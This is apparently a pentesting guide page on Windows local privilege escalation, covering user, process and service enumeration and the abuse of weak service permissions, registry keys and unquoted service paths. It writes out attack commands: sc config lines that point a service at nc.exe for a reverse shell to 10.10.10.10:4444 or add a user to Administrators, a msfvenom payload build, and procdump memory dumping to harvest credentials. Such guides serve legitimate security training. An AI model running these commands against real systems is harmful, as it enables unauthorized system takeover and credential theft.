Skip to content

Investigating Users, Processes, and Services

Examine the user’s groups and privileges, running processes, and service settings in turn. Compare writable locations and services you can control with your current permissions.

Identify the current user and their groups, then check whether they allow additional actions.

Terminal window
# CMD (Command Prompt)
net users %username% # Current user
net users # All local users
net localgroup # Groups
net localgroup Administrators # Members of the Administrators group
whoami /all # Check privileges
# PS (PowerShell)
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Membership in a privileged group can indicate that additional operations are possible. See Privileged Groups for each group’s privileges.

See Access Token Manipulation for how to interpret current privileges and for references.

Terminal window
qwinsta
klist sessions
Terminal window
dir C:\Users
Get-ChildItem C:\Users
Terminal window
net accounts
Terminal window
powershell -command "Get-Clipboard"

Start with the process list to see the user and command line for each process. Check mainly whether passwords remain in arguments and whether you can change the executable or its folder. See also DLL Hijacking for DLL load locations.

Terminal window
Tasklist /SVC # List running processes and services
tasklist /v /fi "username eq system" # Filter "system" processes
# With user names
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
# Without user names
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Always check for running Electron/CEF/Chromium debuggers. They may be exploitable for privilege escalation.

Check process binary permissions

Terminal window
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Check permissions on the folder containing each process binary (DLL Hijacking)

Terminal window
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Use Sysinternals procdump to create a memory dump of a running process. Services such as FTP may leave plaintext credentials in memory, which can then be read from the dump.

Terminal window
procdump.exe -accepteula -ma <proc_name_tasklist>

An application running as SYSTEM may let a user launch CMD or browse directories.

Example: In “Windows Help and Support” (Windows + F1), search for “command prompt” and click “Click to open Command Prompt.”

Service Triggers let Windows start a service when specified conditions occur, such as named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, or GPO refresh. Even without SERVICE_START permission, triggering one of these conditions may start a privileged service. See the enumeration and triggering techniques here:

Service Triggers

List services:

Terminal window
net start
wmic service list brief
sc query
Get-Service

Use sc to get service information.

Terminal window
sc qc <service_name>

The Sysinternals accesschk binary is recommended for checking the privileges required for each service.

Terminal window
accesschk.exe -ucqv <Service_Name> # Check each group's rights

Check whether “Authenticated Users” can modify a service:

Terminal window
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

Download accesschk.exe for XP here

If you see the following error (for example, for SSDPSRV):

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

You can enable it as follows.

Terminal window
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Note that the upnphost service depends on SSDPSRV (XP SP1).

As another workaround, run:

sc.exe config usosvc start= auto

If the “Authenticated users” group has SERVICE_ALL_ACCESS on a service, it can change the service executable. These examples use sc to change and run it:

Terminal window
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
Terminal window
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

The following rights may allow privilege escalation:

  • SERVICE_CHANGE_CONFIG: Allows reconfiguration of the service binary.
  • WRITE_DAC: Allows permissions to be changed, enabling service configuration changes.
  • WRITE_OWNER: Allows taking ownership and changing permissions.
  • GENERIC_WRITE: Inherits the ability to change service configuration.
  • GENERIC_ALL: Inherits the ability to change service configuration.

exploit/windows/local/service_permissions can detect and exploit this vulnerability.

Check whether you can change the binary a service runs or write to the folder containing it (see DLL Hijacking).
Use wmic to obtain each service binary outside system32, then check permissions with icacls:

Terminal window
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Using sc and icacls:

Terminal window
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Write permissions on service registry keys

Section titled “Write permissions on service registry keys”

Check whether you can modify the service registry.
Use the following methods to check permissions on service registry keys:

Terminal window
reg query hklm\System\CurrentControlSet\Services /s /v imagepath # Get service binary paths
# Try writing back the current contents of each service key to test write permission
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Check whether Authenticated Users or NT AUTHORITY\INTERACTIVE has FullControl. If so, the binary run by the service can be changed.

To change the executable path:

Terminal window
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Add-subkey permissions on service registry keys

Section titled “Add-subkey permissions on service registry keys”

If you have this permission on a registry key, you can create subkeys under it. For Windows services, this can be enough for arbitrary code execution:

AppendData/AddSubdirectory permission over service registry

If an executable path is not quoted, Windows tries to execute each prefix ending before a space in turn.

For example, with the path C:\Program Files\Some Folder\Service.exe, Windows tries:

Terminal window
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

List unquoted service paths, excluding built-in Windows services:

Terminal window
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Includes services other than auto-start
# Use PowerUp.ps1
Get-ServiceUnquoted -Verbose
Terminal window
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
Terminal window
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Metasploit can detect and exploit this with exploit/windows/local/trusted_service_path. To create a payload manually with Metasploit:

Terminal window
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Windows can specify actions to perform when a service fails. This feature can be configured to point to a binary; if that binary can be replaced, privilege escalation may be possible. See the official documentation for details.